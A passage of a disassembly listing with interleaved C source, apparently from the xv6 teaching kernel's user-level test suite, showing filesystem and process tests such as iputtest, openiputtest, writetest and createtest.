linkunlink(); 68: e8 63 1a 00 00 call 1ad0 <linkunlink> concreate(); 6d: e8 5e 17 00 00 call 17d0 <concreate> fourfiles(); 72: e8 99 0f 00 00 call 1010 <fourfiles> sharedfd(); 77: e8 d4 0d 00 00 call e50 <sharedfd> bigargtest(); 7c: e8 ff 31 00 00 call 3280 <bigargtest> bigwrite(); 81: e8 6a 23 00 00 call 23f0 <bigwrite> bigargtest(); 86: e8 f5 31 00 00 call 3280 <bigargtest> bsstest(); 8b: e8 70 31 00 00 call 3200 <bsstest> sbrktest(); 90: e8 9b 2c 00 00 call 2d30 <sbrktest> validatetest(); 95: e8 b6 30 00 00 call 3150 <validatetest> opentest(); 9a: e8 51 03 00 00 call 3f0 <opentest> writetest(); 9f: e8 dc 03 00 00 call 480 <writetest> writetest1(); a4: e8 b7 05 00 00 call 660 <writetest1> createtest(); a9: e8 82 07 00 00 call 830 <createtest> openiputtest(); ae: e8 3d 02 00 00 call 2f0 <openiputtest> exitiputtest(); b3: e8 48 01 00 00 call 200 <exitiputtest> iputtest(); b8: e8 63 00 00 00 call 120 <iputtest> mem(); bd: e8 be 0c 00 00 call d80 <mem> pipe1(); c2: e8 49 09 00 00 call a10 <pipe1> preempt(); c7: e8 e4 0a 00 00 call bb0 <preempt> exitwait(); cc: e8 1f 0c 00 00 call cf0 <exitwait> rmdot(); d1: e8 0a 27 00 00 call 27e0 <rmdot> fourteen(); d6: e8 c5 25 00 00 call 26a0 <fourteen> bigfile(); db: e8 f0 23 00 00 call 24d0 <bigfile> subdir(); e0: e8 2b 1c 00 00 call 1d10 <subdir> linktest(); e5: e8 d6 14 00 00 call 15c0 <linktest> unlinkread(); ea: e8 41 13 00 00 call 1430 <unlinkread> dirfile(); ef: e8 6c 28 00 00 call 2960 <dirfile> iref(); f4: e8 67 2a 00 00 call 2b60 <iref> forktest(); f9: e8 82 2b 00 00 call 2c80 <forktest> bigdir(); // slow fe: e8 dd 1a 00 00 call 1be0 <bigdir> uio(); 103: e8 48 34 00 00 call 3550 <uio> exectest(); 108: e8 b3 08 00 00 call 9c0 <exectest> exit(); 10d: e8 af 37 00 00 call 38c1 <exit> 112: 66 90 xchg %ax,%ax 114: 66 90 xchg %ax,%ax 116: 66 90 xchg %ax,%ax 118: 66 90 xchg %ax,%ax 11a: 66 90 xchg %ax,%ax 11c: 66 90 xchg %ax,%ax 11e: 66 90 xchg %ax,%ax 00000120 <iputtest>: { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 83 ec 10 sub $0x10,%esp printf(stdout, "iput test\n"); 126: 68 4c 3e 00 00 push $0x3e4c 12b: ff 35 a8 5e 00 00 pushl 0x5ea8 131: e8 2a 39 00 00 call 3a60 <printf> if (mkdir("iputdir") < 0) { 136: c7 04 24 df 3d 00 00 movl $0x3ddf,(%esp) 13d: e8 e7 37 00 00 call 3929 <mkdir> 142: 83 c4 10 add $0x10,%esp 145: 85 c0 test %eax,%eax 147: 78 58 js 1a1 <iputtest+0x81> if (chdir("iputdir") < 0) { 149: 83 ec 0c sub $0xc,%esp 14c: 68 df 3d 00 00 push $0x3ddf 151: e8 db 37 00 00 call 3931 <chdir> 156: 83 c4 10 add $0x10,%esp 159: 85 c0 test %eax,%eax 15b: 0f 88 85 00 00 00 js 1e6 <iputtest+0xc6> if (unlink("../iputdir") < 0) { 161: 83 ec 0c sub $0xc,%esp 164: 68 dc 3d 00 00 push $0x3ddc 169: e8 a3 37 00 00 call 3911 <unlink> 16e: 83 c4 10 add $0x10,%esp 171: 85 c0 test %eax,%eax 173: 78 5a js 1cf <iputtest+0xaf> if (chdir("/") < 0) { 175: 83 ec 0c sub $0xc,%esp 178: 68 01 3e 00 00 push $0x3e01 17d: e8 af 37 00 00 call 3931 <chdir> 182: 83 c4 10 add $0x10,%esp 185: 85 c0 test %eax,%eax 187: 78 2f js 1b8 <iputtest+0x98> printf(stdout, "iput test ok\n"); 189: 83 ec 08 sub $0x8,%esp 18c: 68 84 3e 00 00 push $0x3e84 191: ff 35 a8 5e 00 00 pushl 0x5ea8 197: e8 c4 38 00 00 call 3a60 <printf> } 19c: 83 c4 10 add $0x10,%esp 19f: c9 leave 1a0: c3 ret printf(stdout, "mkdir failed\n"); 1a1: 50 push %eax 1a2: 50 push %eax 1a3: 68 b8 3d 00 00 push $0x3db8 1a8: ff 35 a8 5e 00 00 pushl 0x5ea8 1ae: e8 ad 38 00 00 call 3a60 <printf> exit(); 1b3: e8 09 37 00 00 call 38c1 <exit> printf(stdout, "chdir / failed\n"); 1b8: 50 push %eax 1b9: 50 push %eax 1ba: 68 03 3e 00 00 push $0x3e03 1bf: ff 35 a8 5e 00 00 pushl 0x5ea8 1c5: e8 96 38 00 00 call 3a60 <printf> exit(); 1ca: e8 f2 36 00 00 call 38c1 <exit> printf(stdout, "unlink ../iputdir failed\n"); 1cf: 52 push %edx 1d0: 52 push %edx 1d1: 68 e7 3d 00 00 push $0x3de7 1d6: ff 35 a8 5e 00 00 pushl 0x5ea8 1dc: e8 7f 38 00 00 call 3a60 <printf> exit(); 1e1: e8 db 36 00 00 call 38c1 <exit> printf(stdout, "chdir iputdir failed\n"); 1e6: 51 push %ecx 1e7: 51 push %ecx 1e8: 68 c6 3d 00 00 push $0x3dc6 1ed: ff 35 a8 5e 00 00 pushl 0x5ea8 1f3: e8 68 38 00 00 call 3a60 <printf> exit(); 1f8: e8 c4 36 00 00 call 38c1 <exit> 1fd: 8d 76 00 lea 0x0(%esi),%esi 00000200 <exitiputtest>: { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 83 ec 10 sub $0x10,%esp printf(stdout, "exitiput test\n"); 206: 68 13 3e 00 00 push $0x3e13 20b: ff 35 a8 5e 00 00 pushl 0x5ea8 211: e8 4a 38 00 00 call 3a60 <printf> pid = fork(); 216: e8 9e 36 00 00 call 38b9 <fork> if (pid < 0) { 21b: 83 c4 10 add $0x10,%esp 21e: 85 c0 test %eax,%eax 220: 0f 88 82 00 00 00 js 2a8 <exitiputtest+0xa8> if (pid == 0) { 226: 75 48 jne 270 <exitiputtest+0x70> if (mkdir("iputdir") < 0) { 228: 83 ec 0c sub $0xc,%esp 22b: 68 df 3d 00 00 push $0x3ddf 230: e8 f4 36 00 00 call 3929 <mkdir> 235: 83 c4 10 add $0x10,%esp 238: 85 c0 test %eax,%eax 23a: 0f 88 96 00 00 00 js 2d6 <exitiputtest+0xd6> if (chdir("iputdir") < 0) { 240: 83 ec 0c sub $0xc,%esp 243: 68 df 3d 00 00 push $0x3ddf 248: e8 e4 36 00 00 call 3931 <chdir> 24d: 83 c4 10 add $0x10,%esp 250: 85 c0 test %eax,%eax 252: 78 6b js 2bf <exitiputtest+0xbf> if (unlink("../iputdir") < 0) { 254: 83 ec 0c sub $0xc,%esp 257: 68 dc 3d 00 00 push $0x3ddc 25c: e8 b0 36 00 00 call 3911 <unlink> 261: 83 c4 10 add $0x10,%esp 264: 85 c0 test %eax,%eax 266: 78 28 js 290 <exitiputtest+0x90> exit(); 268: e8 54 36 00 00 call 38c1 <exit> 26d: 8d 76 00 lea 0x0(%esi),%esi wait(); 270: e8 54 36 00 00 call 38c9 <wait> printf(stdout, "exitiput test ok\n"); 275: 83 ec 08 sub $0x8,%esp 278: 68 36 3e 00 00 push $0x3e36 27d: ff 35 a8 5e 00 00 pushl 0x5ea8 283: e8 d8 37 00 00 call 3a60 <printf> } 288: 83 c4 10 add $0x10,%esp 28b: c9 leave 28c: c3 ret 28d: 8d 76 00 lea 0x0(%esi),%esi printf(stdout, "unlink ../iputdir failed\n"); 290: 83 ec 08 sub $0x8,%esp 293: 68 e7 3d 00 00 push $0x3de7 298: ff 35 a8 5e 00 00 pushl 0x5ea8 29e: e8 bd 37 00 00 call 3a60 <printf> exit(); 2a3: e8 19 36 00 00 call 38c1 <exit> printf(stdout, "fork failed\n"); 2a8: 51 push %ecx 2a9: 51 push %ecx 2aa: 68 f9 4c 00 00 push $0x4cf9 2af: ff 35 a8 5e 00 00 pushl 0x5ea8 2b5: e8 a6 37 00 00 call 3a60 <printf> exit(); 2ba: e8 02 36 00 00 call 38c1 <exit> printf(stdout, "child chdir failed\n"); 2bf: 50 push %eax 2c0: 50 push %eax 2c1: 68 22 3e 00 00 push $0x3e22 2c6: ff 35 a8 5e 00 00 pushl 0x5ea8 2cc: e8 8f 37 00 00 call 3a60 <printf> exit(); 2d1: e8 eb 35 00 00 call 38c1 <exit> printf(stdout, "mkdir failed\n"); 2d6: 52 push %edx 2d7: 52 push %edx 2d8: 68 b8 3d 00 00 push $0x3db8 2dd: ff 35 a8 5e 00 00 pushl 0x5ea8 2e3: e8 78 37 00 00 call 3a60 <printf> exit(); 2e8: e8 d4 35 00 00 call 38c1 <exit> 2ed: 8d 76 00 lea 0x0(%esi),%esi 000002f0 <openiputtest>: { 2f0: 55 push %ebp 2f1: 89 e5 mov %esp,%ebp 2f3: 83 ec 10 sub $0x10,%esp printf(stdout, "openiput test\n"); 2f6: 68 48 3e 00 00 push $0x3e48 2fb: ff 35 a8 5e 00 00 pushl 0x5ea8 301: e8 5a 37 00 00 call 3a60 <printf> if (mkdir("oidir") < 0) { 306: c7 04 24 57 3e 00 00 movl $0x3e57,(%esp) 30d: e8 17 36 00 00 call 3929 <mkdir> 312: 83 c4 10 add $0x10,%esp 315: 85 c0 test %eax,%eax 317: 0f 88 88 00 00 00 js 3a5 <openiputtest+0xb5> pid = fork(); 31d: e8 97 35 00 00 call 38b9 <fork> if (pid < 0) { 322: 85 c0 test %eax,%eax 324: 0f 88 92 00 00 00 js 3bc <openiputtest+0xcc> if (pid == 0) { 32a: 75 34 jne 360 <openiputtest+0x70> int fd = open("oidir", O_RDWR); 32c: 83 ec 08 sub $0x8,%esp 32f: 6a 02 push $0x2 331: 68 57 3e 00 00 push $0x3e57 336: e8 c6 35 00 00 call 3901 <open> if (fd >= 0) { 33b: 83 c4 10 add $0x10,%esp 33e: 85 c0 test %eax,%eax 340: 78 5e js 3a0 <openiputtest+0xb0> printf(stdout, "open directory for write succeeded\n"); 342: 83 ec 08 sub $0x8,%esp 345: 68 dc 4d 00 00 push $0x4ddc 34a: ff 35 a8 5e 00 00 pushl 0x5ea8 350: e8 0b 37 00 00 call 3a60 <printf> exit(); 355: e8 67 35 00 00 call 38c1 <exit> 35a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi sleep(1); 360: 83 ec 0c sub $0xc,%esp 363: 6a 01 push $0x1 365: e8 e7 35 00 00 call 3951 <sleep> if (unlink("oidir") != 0) { 36a: c7 04 24 57 3e 00 00 movl $0x3e57,(%esp) 371: e8 9b 35 00 00 call 3911 <unlink> 376: 83 c4 10 add $0x10,%esp 379: 85 c0 test %eax,%eax 37b: 75 56 jne 3d3 <openiputtest+0xe3> wait(); 37d: e8 47 35 00 00 call 38c9 <wait> printf(stdout, "openiput test ok\n"); 382: 83 ec 08 sub $0x8,%esp 385: 68 80 3e 00 00 push $0x3e80 38a: ff 35 a8 5e 00 00 pushl 0x5ea8 390: e8 cb 36 00 00 call 3a60 <printf> 395: 83 c4 10 add $0x10,%esp } 398: c9 leave 399: c3 ret 39a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 3a0: e8 1c 35 00 00 call 38c1 <exit> printf(stdout, "mkdir oidir failed\n"); 3a5: 51 push %ecx 3a6: 51 push %ecx 3a7: 68 5d 3e 00 00 push $0x3e5d 3ac: ff 35 a8 5e 00 00 pushl 0x5ea8 3b2: e8 a9 36 00 00 call 3a60 <printf> exit(); 3b7: e8 05 35 00 00 call 38c1 <exit> printf(stdout, "fork failed\n"); 3bc: 52 push %edx 3bd: 52 push %edx 3be: 68 f9 4c 00 00 push $0x4cf9 3c3: ff 35 a8 5e 00 00 pushl 0x5ea8 3c9: e8 92 36 00 00 call 3a60 <printf> exit(); 3ce: e8 ee 34 00 00 call 38c1 <exit> printf(stdout, "unlink failed\n"); 3d3: 50 push %eax 3d4: 50 push %eax 3d5: 68 71 3e 00 00 push $0x3e71 3da: ff 35 a8 5e 00 00 pushl 0x5ea8 3e0: e8 7b 36 00 00 call 3a60 <printf> exit(); 3e5: e8 d7 34 00 00 call 38c1 <exit> 3ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000003f0 <opentest>: { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 83 ec 10 sub $0x10,%esp printf(stdout, "open test\n"); 3f6: 68 92 3e 00 00 push $0x3e92 3fb: ff 35 a8 5e 00 00 pushl 0x5ea8 401: e8 5a 36 00 00 call 3a60 <printf> fd = open("echo", 0); 406: 58 pop %eax 407: 5a pop %edx 408: 6a 00 push $0x0 40a: 68 9d 3e 00 00 push $0x3e9d 40f: e8 ed 34 00 00 call 3901 <open> if (fd < 0) { 414: 83 c4 10 add $0x10,%esp 417: 85 c0 test %eax,%eax 419: 78 36 js 451 <opentest+0x61> close(fd); 41b: 83 ec 0c sub $0xc,%esp 41e: 50 push %eax 41f: e8 c5 34 00 00 call 38e9 <close> fd = open("doesnotexist", 0); 424: 5a pop %edx 425: 59 pop %ecx 426: 6a 00 push $0x0 428: 68 b5 3e 00 00 push $0x3eb5 42d: e8 cf 34 00 00 call 3901 <open> if (fd >= 0) { 432: 83 c4 10 add $0x10,%esp 435: 85 c0 test %eax,%eax 437: 79 2f jns 468 <opentest+0x78> printf(stdout, "open test ok\n"); 439: 83 ec 08 sub $0x8,%esp 43c: 68 e0 3e 00 00 push $0x3ee0 441: ff 35 a8 5e 00 00 pushl 0x5ea8 447: e8 14 36 00 00 call 3a60 <printf> } 44c: 83 c4 10 add $0x10,%esp 44f: c9 leave 450: c3 ret printf(stdout, "open echo failed!\n"); 451: 50 push %eax 452: 50 push %eax 453: 68 a2 3e 00 00 push $0x3ea2 458: ff 35 a8 5e 00 00 pushl 0x5ea8 45e: e8 fd 35 00 00 call 3a60 <printf> exit(); 463: e8 59 34 00 00 call 38c1 <exit> printf(stdout, "open doesnotexist succeeded!\n"); 468: 50 push %eax 469: 50 push %eax 46a: 68 c2 3e 00 00 push $0x3ec2 46f: ff 35 a8 5e 00 00 pushl 0x5ea8 475: e8 e6 35 00 00 call 3a60 <printf> exit(); 47a: e8 42 34 00 00 call 38c1 <exit> 47f: 90 nop 00000480 <writetest>: { 480: 55 push %ebp 481: 89 e5 mov %esp,%ebp 483: 56 push %esi 484: 53 push %ebx printf(stdout, "small file test\n"); 485: 83 ec 08 sub $0x8,%esp 488: 68 ee 3e 00 00 push $0x3eee 48d: ff 35 a8 5e 00 00 pushl 0x5ea8 493: e8 c8 35 00 00 call 3a60 <printf> fd = open("small", O_CREATE | O_RDWR); 498: 58 pop %eax 499: 5a pop %edx 49a: 68 02 02 00 00 push $0x202 49f: 68 ff 3e 00 00 push $0x3eff 4a4: e8 58 34 00 00 call 3901 <open> if (fd >= 0) { 4a9: 83 c4 10 add $0x10,%esp 4ac: 85 c0 test %eax,%eax 4ae: 0f 88 88 01 00 00 js 63c <writetest+0x1bc> printf(stdout, "creat small succeeded; ok\n"); 4b4: 83 ec 08 sub $0x8,%esp 4b7: 89 c6 mov %eax,%esi for (i = 0; i < 100; i++) { 4b9: 31 db xor %ebx,%ebx printf(stdout, "creat small succeeded; ok\n"); 4bb: 68 05 3f 00 00 push $0x3f05 4c0: ff 35 a8 5e 00 00 pushl 0x5ea8 4c6: e8 95 35 00 00 call 3a60 <printf> 4cb: 83 c4 10 add $0x10,%esp 4ce: 66 90 xchg %ax,%ax if (write(fd, "aaaaaaaaaa", 10) != 10) { 4d0: 83 ec 04 sub $0x4,%esp 4d3: 6a 0a push $0xa 4d5: 68 3c 3f 00 00 push $0x3f3c 4da: 56 push %esi 4db: e8 01 34 00 00 call 38e1 <write> 4e0: 83 c4 10 add $0x10,%esp 4e3: 83 f8 0a cmp $0xa,%eax 4e6: 0f 85 d9 00 00 00 jne 5c5 <writetest+0x145> if (write(fd, "bbbbbbbbbb", 10) != 10) { 4ec: 83 ec 04 sub $0x4,%esp 4ef: 6a 0a push $0xa 4f1: 68 47 3f 00 00 push $0x3f47 4f6: 56 push %esi 4f7: e8 e5 33 00 00 call 38e1 <write> 4fc: 83 c4 10 add $0x10,%esp 4ff: 83 f8 0a cmp $0xa,%eax 502: 0f 85 d6 00 00 00 jne 5de <writetest+0x15e> for (i = 0; i < 100; i++) { 508: 83 c3 01 add $0x1,%ebx 50b: 83 fb 64 cmp $0x64,%ebx 50e: 75 c0 jne 4d0 <writetest+0x50> printf(stdout, "writes ok\n"); 510: 83 ec 08 sub $0x8,%esp 513: 68 52 3f 00 00 push $0x3f52 518: ff 35 a8 5e 00 00 pushl 0x5ea8 51e: e8 3d 35 00 00 call 3a60 <printf> close(fd); 523: 89 34 24 mov %esi,(%esp) 526: e8 be 33 00 00 call 38e9 <close> fd = open("small", O_RDONLY); 52b: 5b pop %ebx 52c: 5e pop %esi 52d: 6a 00 push $0x0 52f: 68 ff 3e 00 00 push $0x3eff 534: e8 c8 33 00 00 call 3901 <open> if (fd >= 0) { 539: 83 c4 10 add $0x10,%esp 53c: 85 c0 test %eax,%eax fd = open("small", O_RDONLY); 53e: 89 c3 mov %eax,%ebx if (fd >= 0) { 540: 0f 88 b1 00 00 00 js 5f7 <writetest+0x177> printf(stdout, "open small succeeded ok\n"); 546: 83 ec 08 sub $0x8,%esp 549: 68 5d 3f 00 00 push $0x3f5d 54e: ff 35 a8 5e 00 00 pushl 0x5ea8 554: e8 07 35 00 00 call 3a60 <printf> i = read(fd, buf, 2000); 559: 83 c4 0c add $0xc,%esp 55c: 68 d0 07 00 00 push $0x7d0 561: 68 80 86 00 00 push $0x8680 566: 53 push %ebx 567: e8 6d 33 00 00 call 38d9 <read> if (i == 2000) { 56c: 83 c4 10 add $0x10,%esp 56f: 3d d0 07 00 00 cmp $0x7d0,%eax 574: 0f 85 94 00 00 00 jne 60e <writetest+0x18e> printf(stdout, "read succeeded ok\n"); 57a: 83 ec 08 sub $0x8,%esp 57d: 68 91 3f 00 00 push $0x3f91 582: ff 35 a8 5e 00 00 pushl 0x5ea8 588: e8 d3 34 00 00 call 3a60 <printf> close(fd); 58d: 89 1c 24 mov %ebx,(%esp) 590: e8 54 33 00 00 call 38e9 <close> if (unlink("small") < 0) { 595: c7 04 24 ff 3e 00 00 movl $0x3eff,(%esp) 59c: e8 70 33 00 00 call 3911 <unlink> 5a1: 83 c4 10 add $0x10,%esp 5a4: 85 c0 test %eax,%eax 5a6: 78 7d js 625 <writetest+0x1a5> printf(stdout, "small file test ok\n"); 5a8: 83 ec 08 sub $0x8,%esp 5ab: 68 b9 3f 00 00 push $0x3fb9 5b0: ff 35 a8 5e 00 00 pushl 0x5ea8 5b6: e8 a5 34 00 00 call 3a60 <printf> } 5bb: 83 c4 10 add $0x10,%esp 5be: 8d 65 f8 lea -0x8(%ebp),%esp 5c1: 5b pop %ebx 5c2: 5e pop %esi 5c3: 5d pop %ebp 5c4: c3 ret printf(stdout, "error: write aa %d new file failed\n", i); 5c5: 83 ec 04 sub $0x4,%esp 5c8: 53 push %ebx 5c9: 68 00 4e 00 00 push $0x4e00 5ce: ff 35 a8 5e 00 00 pushl 0x5ea8 5d4: e8 87 34 00 00 call 3a60 <printf> exit(); 5d9: e8 e3 32 00 00 call 38c1 <exit> printf(stdout, "error: write bb %d new file failed\n", i); 5de: 83 ec 04 sub $0x4,%esp 5e1: 53 push %ebx 5e2: 68 24 4e 00 00 push $0x4e24 5e7: ff 35 a8 5e 00 00 pushl 0x5ea8 5ed: e8 6e 34 00 00 call 3a60 <printf> exit(); 5f2: e8 ca 32 00 00 call 38c1 <exit> printf(stdout, "error: open small failed!\n"); 5f7: 51 push %ecx 5f8: 51 push %ecx 5f9: 68 76 3f 00 00 push $0x3f76 5fe: ff 35 a8 5e 00 00 pushl 0x5ea8 604: e8 57 34 00 00 call 3a60 <printf> exit(); 609: e8 b3 32 00 00 call 38c1 <exit> printf(stdout, "read failed\n"); 60e: 52 push %edx 60f: 52 push %edx 610: 68 bd 42 00 00 push $0x42bd 615: ff 35 a8 5e 00 00 pushl 0x5ea8 61b: e8 40 34 00 00 call 3a60 <printf> exit(); 620: e8 9c 32 00 00 call 38c1 <exit> printf(stdout, "unlink small failed\n"); 625: 50 push %eax 626: 50 push %eax 627: 68 a4 3f 00 00 push $0x3fa4 62c: ff 35 a8 5e 00 00 pushl 0x5ea8 632: e8 29 34 00 00 call 3a60 <printf> exit(); 637: e8 85 32 00 00 call 38c1 <exit> printf(stdout, "error: creat small failed!\n"); 63c: 50 push %eax 63d: 50 push %eax 63e: 68 20 3f 00 00 push $0x3f20 643: ff 35 a8 5e 00 00 pushl 0x5ea8 649: e8 12 34 00 00 call 3a60 <printf> exit(); 64e: e8 6e 32 00 00 call 38c1 <exit> 653: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000660 <writetest1>: { 660: 55 push %ebp 661: 89 e5 mov %esp,%ebp 663: 56 push %esi 664: 53 push %ebx printf(stdout, "big files test\n"); 665: 83 ec 08 sub $0x8,%esp 668: 68 cd 3f 00 00 push $0x3fcd 66d: ff 35 a8 5e 00 00 pushl 0x5ea8 673: e8 e8 33 00 00 call 3a60 <printf> fd = open("big", O_CREATE | O_RDWR); 678: 58 pop %eax 679: 5a pop %edx 67a: 68 02 02 00 00 push $0x202 67f: 68 47 40 00 00 push $0x4047 684: e8 78 32 00 00 call 3901 <open> if (fd < 0) { 689: 83 c4 10 add $0x10,%esp 68c: 85 c0 test %eax,%eax 68e: 0f 88 61 01 00 00 js 7f5 <writetest1+0x195> 694: 89 c6 mov %eax,%esi for (i = 0; i < MAXFILE; i++) { 696: 31 db xor %ebx,%ebx 698: 90 nop 699: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if (write(fd, buf, 512) != 512) { 6a0: 83 ec 04 sub $0x4,%esp ((int *)buf)[0] = i; 6a3: 89 1d 80 86 00 00 mov %ebx,0x8680 if (write(fd, buf, 512) != 512) { 6a9: 68 00 02 00 00 push $0x200 6ae: 68 80 86 00 00 push $0x8680 6b3: 56 push %esi 6b4: e8 28 32 00 00 call 38e1 <write> 6b9: 83 c4 10 add $0x10,%esp 6bc: 3d 00 02 00 00 cmp $0x200,%eax 6c1: 0f 85 b3 00 00 00 jne 77a <writetest1+0x11a> for (i = 0; i < MAXFILE; i++) { 6c7: 83 c3 01 add $0x1,%ebx 6ca: 81 fb 8c 00 00 00 cmp $0x8c,%ebx 6d0: 75 ce jne 6a0 <writetest1+0x40> close(fd); 6d2: 83 ec 0c sub $0xc,%esp 6d5: 56 push %esi 6d6: e8 0e 32 00 00 call 38e9 <close> fd = open("big", O_RDONLY); 6db: 5b pop %ebx 6dc: 5e pop %esi 6dd: 6a 00 push $0x0 6df: 68 47 40 00 00 push $0x4047 6e4: e8 18 32 00 00 call 3901 <open> if (fd < 0) { 6e9: 83 c4 10 add $0x10,%esp 6ec: 85 c0 test %eax,%eax fd = open("big", O_RDONLY); 6ee: 89 c6 mov %eax,%esi if (fd < 0) { 6f0: 0f 88 e8 00 00 00 js 7de <writetest1+0x17e> n = 0; 6f6: 31 db xor %ebx,%ebx 6f8: eb 1d jmp 717 <writetest1+0xb7> 6fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if (i != 512) { 700: 3d 00 02 00 00 cmp $0x200,%eax 705: 0f 85 9f 00 00 00 jne 7aa <writetest1+0x14a> if (((int *)buf)[0] != n) { 70b: a1 80 86 00 00 mov 0x8680,%eax 710: 39 d8 cmp %ebx,%eax 712: 75 7f jne 793 <writetest1+0x133> n++; 714: 83 c3 01 add $0x1,%ebx i = read(fd, buf, 512); 717: 83 ec 04 sub $0x4,%esp 71a: 68 00 02 00 00 push $0x200 71f: 68 80 86 00 00 push $0x8680 724: 56 push %esi 725: e8 af 31 00 00 call 38d9 <read> if (i == 0) { 72a: 83 c4 10 add $0x10,%esp 72d: 85 c0 test %eax,%eax 72f: 75 cf jne 700 <writetest1+0xa0> if (n == MAXFILE - 1) { 731: 81 fb 8b 00 00 00 cmp $0x8b,%ebx 737: 0f 84 86 00 00 00 je 7c3 <writetest1+0x163> close(fd); 73d: 83 ec 0c sub $0xc,%esp 740: 56 push %esi 741: e8 a3 31 00 00 call 38e9 <close> if (unlink("big") < 0) { 746: c7 04 24 47 40 00 00 movl $0x4047,(%esp) 74d: e8 bf 31 00 00 call 3911 <unlink> 752: 83 c4 10 add $0x10,%esp 755: 85 c0 test %eax,%eax 757: 0f 88 af 00 00 00 js 80c <writetest1+0x1ac> printf(stdout, "big files ok\n"); 75d: 83 ec 08 sub $0x8,%esp 760: 68 6e 40 00 00 push $0x406e 765: ff 35 a8 5e 00 00 pushl 0x5ea8 76b: e8 f0 32 00 00 call 3a60 <printf> } 770: 83 c4 10 add $0x10,%esp 773: 8d 65 f8 lea -0x8(%ebp),%esp 776: 5b pop %ebx 777: 5e pop %esi 778: 5d pop %ebp 779: c3 ret printf(stdout, "error: write big file failed\n", i); 77a: 83 ec 04 sub $0x4,%esp 77d: 53 push %ebx 77e: 68 f7 3f 00 00 push $0x3ff7 783: ff 35 a8 5e 00 00 pushl 0x5ea8 789: e8 d2 32 00 00 call 3a60 <printf> exit(); 78e: e8 2e 31 00 00 call 38c1 <exit> printf(stdout, "read content of block %d is %d\n", n, ((int *)buf)[0]); 793: 50 push %eax 794: 53 push %ebx 795: 68 48 4e 00 00 push $0x4e48 79a: ff 35 a8 5e 00 00 pushl 0x5ea8 7a0: e8 bb 32 00 00 call 3a60 <printf> exit(); 7a5: e8 17 31 00 00 call 38c1 <exit> printf(stdout, "read failed %d\n", i); 7aa: 83 ec 04 sub $0x4,%esp 7ad: 50 push %eax 7ae: 68 4b 40 00 00 push $0x404b 7b3: ff 35 a8 5e 00 00 pushl 0x5ea8 7b9: e8 a2 32 00 00 call 3a60 <printf> exit(); 7be: e8 fe 30 00 00 call 38c1 <exit> printf(stdout, "read only %d blocks from big", n); 7c3: 52 push %edx 7c4: 68 8b 00 00 00 push $0x8b 7c9: 68 2e 40 00 00 push $0x402e 7ce: ff 35 a8 5e 00 00 pushl 0x5ea8 7d4: e8 87 32 00 00 call 3a60 <printf> exit(); 7d9: e8 e3 30 00 00 call 38c1 <exit> printf(stdout, "error: open big failed!\n"); 7de: 51 push %ecx 7df: 51 push %ecx 7e0: 68 15 40 00 00 push $0x4015 7e5: ff 35 a8 5e 00 00 pushl 0x5ea8 7eb: e8 70 32 00 00 call 3a60 <printf> exit(); 7f0: e8 cc 30 00 00 call 38c1 <exit> printf(stdout, "error: creat big failed!\n"); 7f5: 50 push %eax 7f6: 50 push %eax 7f7: 68 dd 3f 00 00 push $0x3fdd 7fc: ff 35 a8 5e 00 00 pushl 0x5ea8 802: e8 59 32 00 00 call 3a60 <printf> exit(); 807: e8 b5 30 00 00 call 38c1 <exit> printf(stdout, "unlink big failed\n"); 80c: 50 push %eax 80d: 50 push %eax 80e: 68 5b 40 00 00 push $0x405b 813: ff 35 a8 5e 00 00 pushl 0x5ea8 819: e8 42 32 00 00 call 3a60 <printf> exit(); 81e: e8 9e 30 00 00 call 38c1 <exit> 823: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000830 <createtest>: { 830: 55 push %ebp 831: 89 e5 mov %esp,%ebp 833: 53 push %ebx name[2] = '\0'; 834: bb 30 00 00 00 mov $0x30,%ebx { 839: 83 ec 0c sub $0xc,%esp printf(stdout, "many creates, followed by unlink test\n"); 83c: 68 68 4e 00 00 push $0x4e68 841: ff 35 a8 5e 00 00 pushl 0x5ea8 847: e8 14 32 00 00 call 3a60 <printf> name[0] = 'a'; 84c: c6 05 80 a6 00 00 61 movb $0x61,0xa680 name[2] = '\0'; 853: c6 05 82 a6 00 00 00 movb $0x0,0xa682 85a: 83 c4 10 add $0x10,%esp 85d: 8d 76 00 lea 0x0(%esi),%esi fd = open(name, O_CREATE | O_RDWR); 860: 83 ec 08 sub $0x8,%esp name[1] = '0' + i; 863: 88 1d 81 a6 00 00 mov %bl,0xa681 869: 83 c3 01 add $0x1,%ebx fd = open(name, O_CREATE | O_RDWR); 86c: 68 02 02 00 00 push $0x202 871: 68 80 a6 00 00 push $0xa680 876: e8 86 30 00 00 call 3901 <open> close(fd); 87b: 89 04 24 mov %eax,(%esp) 87e: e8 66 30 00 00 call 38e9 <close> for (i = 0; i < 52; i++) { 883: 83 c4 10 add $0x10,%esp 886: 80 fb 64 cmp $0x64,%bl 889: 75 d5 jne 860 <createtest+0x30> name[0] = 'a'; 88b: c6 05 80 a6 00 00 61 movb $0x61,0xa680 name[2] = '\0'; 892: c6 05 82 a6 00 00 00 movb $0x0,0xa682 899: bb 30 00 00 00 mov $0x30,%ebx 89e: 66 90 xchg %ax,%ax unlink(name); 8a0: 83 ec 0c sub $0xc,%esp name[1] = '0' + i; 8a3: 88 1d 81 a6 00 00 mov %bl,0xa681 8a9: 83 c3 01 add $0x1,%ebx unlink(name); 8ac: 68 80 a6 00 00 push $0xa680 8b1: e8 5b 30 00 00 call 3911 <unlink> for (i = 0; i < 52; i++) { 8b6: 83 c4 10 add $0x10,%esp 8b9: 80 fb 64 cmp $0x64,%bl 8bc: 75 e2 jne 8a0 <createtest+0x70> printf(stdout, "many creates, followed by unlink; ok\n"); 8be: 83 ec 08 sub $0x8,%esp 8c1: 68 90 4e 00 00 push $0x4e90 8c6: ff 35 a8 5e 00 00 pushl 0x5ea8 8cc: e8 8f 31 00 00 call 3a60 <printf> } 8d1: 83 c4 10 add $0x10,%esp 8d4: 8b 5d fc mov -0x4(%ebp),%ebx 